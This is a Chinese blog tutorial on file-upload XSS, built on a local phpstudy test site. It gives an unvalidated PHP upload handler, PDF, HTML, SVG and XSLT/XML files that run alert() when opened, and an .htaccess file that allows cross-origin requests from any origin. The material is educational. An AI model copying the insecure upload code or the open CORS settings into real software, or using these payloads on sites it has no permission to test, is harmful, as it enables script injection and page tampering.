文件上传js代码

news2024/11/15 7:03:24

大家好,很久没更新了,今天空了,记录一下文件上传js代码。(自己搭建的网站,演示学习一下这种漏洞,不要做违法的事情!!!)

一般文件上传的话都是奔着getshell去的,但是一般像作者这种小白,很难去突破文件上传的限制,因为这种一旦被成功利用,攻击者将会直接拿到服务器权限。

但是针对于我们拿到网站授权,为我们的服务对象做渗透测试的时候,我们是不是可以有一些其他简单文件上传的思路,不能白白浪费这个功能点嘛~

  接下来我会用phpstudy起一个网页,来模拟一个文件上传点,针对文件上传列出可以改变页面内容的文件上传漏洞。

文件上传代码

首页

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>File Upload</title>
</head>
<body>
    <h1>Upload a File</h1>
    <form action="upload.php" method="post" enctype="multipart/form-data">
        <input type="file" name="fileToUpload" id="fileToUpload">
        <button type="submit" name="submit">Upload</button>
    </form>
    <div id="result"></div>
</body>
</html>

上传功能

<?php
$target_dir = "uploads/";  // 定义上传文件的目标目录
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);  // 构建目标文件的完整路径

// 确保上传目录存在
if (!is_dir($target_dir)) {
    mkdir($target_dir, 0777, true);
}

// 尝试上传文件
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
    // 如果文件上传成功,显示成功消息和文件访问链接
    echo "The file " . htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded. <a href=\"" . $target_file . "\">Click here to view the file</a>";
} else {
    // 如果文件上传失败,显示错误消息
    echo "Sorry, there was an error uploading your file.";
}
?>

有很多后缀文件都能执行xss,但我觉得本质就是,不管什么后缀,只要能执行js代码,就成!!!

弹框只是js代码的一种写法,有很多利用的写法,明显一点的,从外部服务器加载个图片,改变网站标题

那它这个网页原本内容不就被我们篡改了吗,我们可以控制网页内容。

下面我们整几个最简单的例子来展示一下执行js代码

第一种pdf后缀的

迅捷办公 - 提供专业的办公应用软件及技术服务

第一步新建空白页,

第二步右小角点击选项,选择文档属性

第三步javascript,添加js代码就行。

app.alert(xss);

有水印~

所以用另一种,我们这里用python 的PyPDF2库

from PyPDF2 import PdfWriter

# 创建一个新的PDF文件
new_pdf = PdfWriter()

# 添加一个空白页(可选)
new_pdf.add_blank_page(width=600, height=700)

# 写入JavaScript代码
new_pdf.add_js("app.alert('xss');")

# 将PDF写入文件
with open("xss.pdf", "wb") as f:
    result = new_pdf.write(f)
    if result:
        print("包含JavaScript的PDF文件已创建: xss.pdf")
    else:
        print("创建PDF文件失败")

运行完会在当前目录生成一个xss.pdf

第二个html后缀

这个大家都知道用script嵌入js代码

<!DOCTYPE html>
<html>
<head>
    <title>xss</title>
</head>
<body>
    <!-- 直接嵌入的XSS代码 -->
    <script>alert('xss');</script>
</body>
</html>

第三个svg后缀

<svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" onload="init()">
    <rect id="myRect" x="50" y="50" width="100" height="100" fill="blue"/>
    <script type="text/javascript">
        function init() {
            alert('XSS');
        }
    </script>
</svg>

第四个xml文件

 这个可以跨域引用,只需要上传引用xslt文档的那个xml文件就行,我们这里用的phpstudy搭的服务器

中间件使用的apache,打开模块headers_module

也就httpd.conf中的这一行不要注释就行LoadModule headers_module modules/mod_headers.so 

还有AllowOverride要配置成ALL (允许所有可用的 .htaccess 指令,相当于一步到位,不然还得针对不同的需求进行选择类型)

所以在网站根目录配置.htaccess文件,来允许跨域。

允许跨域,以下配置的含义是允许任何域发起的请求都可以获取当前服务器的数据

# 设置CORS相关头部
<IfModule mod_headers.c>
    # 允许任何源进行跨域请求
    Header set Access-Control-Allow-Origin "*"
    
    # 设置允许的HTTP方法
    Header set Access-Control-Allow-Methods "POST, GET, OPTIONS, DELETE, PUT"
    
    # 设置预检请求的有效期
    Header set Access-Control-Max-Age "1000"
    
    # 设置允许的请求头
    Header set Access-Control-Allow-Headers "Origin, Accept, Range, Key, Content-Length, X-Requested-With, Content-Type, Authorization, Client-Security-Token"
</IfModule>

测试是否支持跨域:curl 域名/ip -H "Origin: https://baidu.com" -I

我们phpstudy开了允许跨域,所以放置需要被引用的xml文件,我们随便找一台网络互通的机器,用另一个phpstudy或者lnmp lamp环境,放一个引用需要被引用的文件,也就是1.2.xml。用火狐

ie有安全策略,一直显示拒绝,火狐可以弹

不涉及跨域的话,也就是符合同源策略,直接上传2个文件就行。

xml它需要上传2个文件 首先上传第一个xml文件, 然后再上传第二个xml文件

1.1.xml

<?xml version="1.0" encoding="iso-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html><body>
<script>alert(/xss/);</script>
</body></html>
</xsl:template>
</xsl:stylesheet>

这是一个XSLT(可扩展样式表语言转换)文档,它的作用是定义如何将一个XML文档转换成另一种格式的文档,在这个例子中是HTML文档。

1.2.xml

<?xml version="1.0" encoding="iso-8859-1"?>
<?xml-stylesheet type="text/xsl" href="http://192.168.130.239/uploads/1.1.xml"?>
<test></test>

 这是一个XML文档,它通过一个特殊的处理指令引用了一个外部的XSLT样式表。

后续还有几个后缀,等有空补上吧

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2149657.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Linux 20】线程控制

文章目录 &#x1f308; 一、创建线程⭐ 1. 线程创建函数⭐ 2. 创建单线程⭐ 3. 给线程传参⭐ 4. 创建多线程⭐ 5. 获取线程 ID &#x1f308; 二、终止线程⭐1. 使用 return 终止线程⭐ 2. 使用 pthread_exit 函数终止线程⭐ 3. 使用 pthread_cancel 函数终止线程 &#x1f30…

Python中lambda表达式的使用——完整通透版

文章目录 一、前言二、 基本语法三、举个简单的例子&#xff1a;四、常见应用场景1. 用于排序函数sort() 方法简介lambda 表达式的作用详细解释进一步扩展总结 2、与 map、filter、reduce 等函数结合1、 map() 函数示例&#xff1a;将列表中的每个数字平方 2、 filter() 函数示…

Centos 7 搭建Samba

笔记&#xff1a; 环境&#xff1a;VMware Centos 7&#xff08;网络请选择桥接模式&#xff0c;不要用NAT&#xff09; 遇到一个问题就是yum 安装404&#xff0c;解决办法在下面&#xff08;没有遇到可以无视这句话&#xff09; # 安装Samba软件 yum -y install samba# 创建…

Shader Graph Create Node---Channel

二、Channel 1、Combine(合并通道) 2、Flip(翻转) 3、Split(分离) 4、Swizzle(交换)

ELK环境部署

目录 环境准备 Elasticsearch 部署 安装Elasticsearch Elasticsearch-head 插件 安装node 安装 phantomjs 安装 Elasticsearch-head Logstash 安装部署 Kibana 安装部署 ELFK 本章纯搭建过程&#xff0c;几乎无任何注释解释 环境准备 ELK的搭建和测试&#xff0c;…

力扣(LeetCode)每日一题 2576. 求出最多标记下标

题目链接https://leetcode.cn/problems/find-the-maximum-number-of-marked-indices/description/?envTypedaily-question&envId2024-09-12 思路&#xff1a; 先排序&#xff0c;然后定义双指针 left&#xff0c;right&#xff0c;贪心遍历&#xff0c;左指针在中间&…

机器狗与无人机空地协调技术分析

随着科技的飞速发展&#xff0c;机器狗与无人机作为智能机器人领域的杰出代表&#xff0c;正逐步在军事侦察、灾害救援、环境监测、农业植保等多个领域展现出巨大的应用潜力。本文旨在深入探讨机器狗与无人机之间的空地协调技术&#xff0c;分析其在复杂环境中的协同作业机制、…

轻松打造:用Python实现手机与电脑间的简易消息系统

展示&#x1f3a5; 观看视频&#xff1a;&#x1f440;&#xff0c;这是之前完成的一个项目&#xff0c;但今天我们的重点不是这个哦。 告别往昔&#xff0c;启航新篇章 现象&#x1f31f; 智能互动&#xff1a;&#x1f4f1; 我们每天都在享受与智能设备的互动&#xff0c;…

作为HR,如何考察候选人的沟通能力

如何考察候选人的沟通能力。沟通能力&#xff0c;这个听起来简单&#xff0c;实际上却是一个非常复杂的技能&#xff0c;它关乎到一个人能否有效地传递信息&#xff0c;理解他人&#xff0c;并且在团队中发挥积极的作用。 作为HR&#xff0c;我们应该怎样才能精准地把握住候选…

鸿蒙开发(HarmonyOS)组件化浅谈

众所周知&#xff0c;现在组件化在移动开发中是很常见的&#xff0c;那么组件化有哪些好处&#xff1a; 1. 提高代码复用性&#xff1a;组件化允许将应用程序的不同功能模块化&#xff0c;使得这些模块可以在不同的项目中重复使用&#xff0c;从而提高开发效率并减少重复工作。…

JAVA并发编程系列(9)CyclicBarrier循环屏障原理分析

拼多多2面&#xff0c;还是模拟拼团&#xff0c;要求用户拼团成功后&#xff0c;提交订单支付金额。 之前我们在系列(8)《CountDownLatch核心原理》&#xff0c;实现过拼团场景。但是CountDownLatch里调用countDown()方法后&#xff0c;线程还是可以继续执行后面的代码&#xf…

【云安全】云上资产发现与信息收集

一、云基础设施组件 1、定义 在云计算基础架构中&#xff0c;基础设施组件通常包括&#xff1a;计算、存储、网络和安全等方面的资源。例如&#xff0c;计算资源可以是虚拟机、容器或无服务器计算引擎&#xff1b;存储资源可以是对象存储或块存储&#xff1b;网络资源可以是虚拟…

数字电路与逻辑设计-计数器逻辑功能测试

一&#xff0e;实验目的 1&#xff0e;验证用触发器构成的计数器计数原理&#xff1b; 2&#xff0e;掌握测试中规模集成计数器功能的方法&#xff1b; 二&#xff0e;实验原理 时序逻辑电路中&#xff0c;有一种电路称为计数器&#xff0c;计数器是用来对时钟脉冲进行计数的…

稳联Profinet转Canopen网关携手伺服,高效提升生产效率

在当今的工业生产领域&#xff0c;追求高效、精准和可靠的生产方式是企业不断努力的方向。稳联技术Profinet转Canopen&#xff08;WL-ABC3033&#xff09;网关与伺服系统的携手合作&#xff0c;为提高生产效率带来了新的机遇和突破。 实现无缝通信&#xff0c;优化生产流程稳联…

Flink提交任务

第3章 Flink部署 3.1 集群角色 3.2 Flink集群搭建 3.2.1 集群启动 0&#xff09;集群规划 表3-1 集群角色分配 具体安装部署步骤如下&#xff1a; 1&#xff09;下载并解压安装包 &#xff08;1&#xff09;下载安装包flink-1.17.0-bin-scala_2.12.tgz&#xff0c;将该jar包…

无人机之控制距离篇

无人机的控制距离是一个复杂且多变的概念&#xff0c;它受到多种因素的共同影响。以下是对无人机控制距离及其影响因素的详细分析&#xff1a; 一、无人机控制距离的定义 无人机控制距离指的是遥控器和接收机之间的最远传输距离。这个距离决定了无人机在操作者控制下能够飞行的…

2024年氧化工艺证考试题库及氧化工艺试题解析

题库来源&#xff1a;安全生产模拟考试一点通公众号小程序 2024年氧化工艺证考试题库及氧化工艺试题解析是安全生产模拟考试一点通结合&#xff08;安监局&#xff09;特种作业人员操作证考试大纲和&#xff08;质检局&#xff09;特种设备作业人员上岗证考试大纲随机出的氧化…

VM+Ubuntu16.04硬盘扩容

步骤&#xff1a; 用df -h查看自己虚拟机的硬盘空间使用情况在虚拟机下安装gparted软件备用 sudo apt-get install gparted在VM的界面或者Windows终端修改虚拟机硬盘大小回到虚拟机的gparted软件里&#xff0c;修改分区&#xff0c;先删除原有的逻辑分区和扩展分区&#xff0c…

一键快速替换PPT上的字体?这个你一定要学会。

前言 最近有个朋友在做PPT&#xff0c;说是准备在各大平台分发&#xff0c;咨询小白关于PPT上内容的事情&#xff0c;结果小白问了一句&#xff1a;字体用的是什么&#xff1f; 嗯……她说是&#xff1a;汉仪黑和字魂。 好家伙&#xff0c;这不是妥妥的当别人财神爷的机会吗&…

是的,第一个在Domino中整个AI本地大语言模型的开源项目已经发布

大家好&#xff0c;才是真的好。 做梦也没想到&#xff0c;上一篇《Notes&#xff0c;无代码应用开发王者归来&#xff01;》居然又一次焕发了卓越的青春活力&#xff0c;阅读量超高。真希望能再接再厉&#xff0c;续创辉煌。 但今天咱们怎么也不能再讲HCL Notes/Dmino 14.5 …